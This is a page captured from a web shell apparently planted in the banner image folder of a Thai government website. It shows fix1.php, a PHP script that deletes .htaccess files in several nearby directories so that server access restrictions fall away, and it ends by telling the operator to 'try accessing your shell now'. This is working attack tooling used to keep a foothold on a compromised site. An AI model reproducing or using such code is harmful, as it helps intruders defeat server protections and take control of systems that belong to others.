Web Shell
Current directory: /home/coloflew/domains/tessabalpatiu.go.th/public_html/image_data/banner
Viewing: /home/coloflew/domains/tessabalpatiu.go.th/public_html/image_data/banner/fix1.php
<?php
// This script will search for .htaccess in common locations and delete it
$files_to_delete = [
".htaccess",
"banner/.htaccess",
"image_data/banner/.htaccess",
"../image_data/banner/.htaccess",
"../../image_data/banner/.htaccess"
];
foreach ($files_to_delete as $file) {
if (file_exists($file)) {
if (@unlink($file)) {
echo "[SUCCESS] Deleted: $file <br>";
} else {
echo "[FAIL] Found but could not delete: $file <br>";
}
}
}
echo "Search complete. Try accessing your shell now.";
?>
Back